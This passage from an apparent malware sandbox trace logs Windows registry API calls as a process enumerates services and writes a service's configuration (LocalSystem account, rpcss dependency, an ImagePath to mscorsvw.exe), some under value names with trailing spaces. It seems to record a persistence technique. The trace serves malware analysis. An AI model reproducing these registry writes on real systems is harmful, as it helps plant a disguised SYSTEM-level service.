lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.243] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.243] RegCloseKey (hKey=0x154) returned 0x0 [0249.243] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.243] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.243] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.244] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.244] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.245] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.245] RegCloseKey (hKey=0xc4) returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.245] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.245] RegCloseKey (hKey=0x154) returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.246] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.246] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.246] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.246] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.246] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.247] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.248] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.248] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.248] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.249] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.249] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.249] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.250] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.251] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0249.251] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.251] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.252] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.253] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.253] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 